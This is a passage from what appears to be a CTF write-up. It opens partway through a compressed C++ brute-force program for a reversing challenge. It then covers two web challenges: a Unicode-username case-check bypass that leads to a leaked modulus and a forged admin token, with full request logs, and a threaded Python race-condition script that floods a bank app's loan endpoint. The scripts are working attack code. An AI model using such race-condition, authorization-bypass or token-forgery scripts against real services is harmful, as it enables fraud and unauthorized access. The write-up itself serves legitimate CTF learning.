Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Frin; #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\ x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5); #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0') templatestruct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT} I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP() (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT} I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fwout; const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634!L7>-L->-76&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#bit; int to_int(bit*s) { int t=0; fo0(j,8) { t+=(int)s[j][SG]<>j&1)s[i*8+j][SG].flip(); } } const int n=256; fo0(i,n) { int t=i; while(t>3]|=int(s[i][SG])<<(i&7); //fo0(i,32)out,res[i],',';out,'\n'; bool flag=1; fo0(i,32)flag&=res[i]>=32&&res[i]<=127; if(flag) { //out,"ok\n"; fprintf(stderr,"%s\n",res); } succ++; if(succ%10000==0)out,succ,'\n'; } int main() { fo0(i,24)proc_pwd_byte(i,pb[i]); fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2) { rc[x][y][z][i][j]=x*i^y*j^z; } fo0(i,24) { //out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n'; bool ok=0; fo0(x,2)fo0(y,2)fo0(z,2) { bool flag=1; fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0; //fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n'; if(flag) { plx[i]=x,ply[i]=y,plz[i]=z; ok=1;break; } } assert(ok); ok=0; fo0(x,2)fo0(y,2)fo0(z,2) { bool flag=1; fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0; if(flag) { phx[i]=x,phy[i]=y,phz[i]=z; ok=1;break; } } assert(ok); //out,plx[i],' ',ply[i],' ',plz[i],'\n'; //out,phx[i],' ',phy[i],' ',phz[i],'\n'; } for(uint i=0;i<191102976;i++) { int t=i; int a=t%26;t/=26; int b=t%26;t/=26; int c=t%26;t/=26; int d=t%26;t/=26; int e=t%26;t/=26; int f=t; work(a,b,c,d,e,f); } } ``` After add `openmp` to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it. # Web ## Draw with us First, by fuzzing, I found that `hacKtm` (K is chr(8490)) can beat the `toLowerCase` and `toUpperCase`. After register with this, we can update our rights with `[["n"]]`. Then the `serverInfo` will leak $n$. Then post `init` with $p=1,q=n$, we got the admin token. Just use this token to view `/flag`. ```python >>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text) {"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}} >>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text) {"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}} >>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text '{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}' ``` ## My Bank Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag. ```python import requests,threading,time r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'}) sess=r.cookies['session'] print(sess) def work(): r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess}) t=0 while True: threading.Thread(target=work).start() t+=1 if t%20==0: time.sleep(0.01) time.sleep(3) ```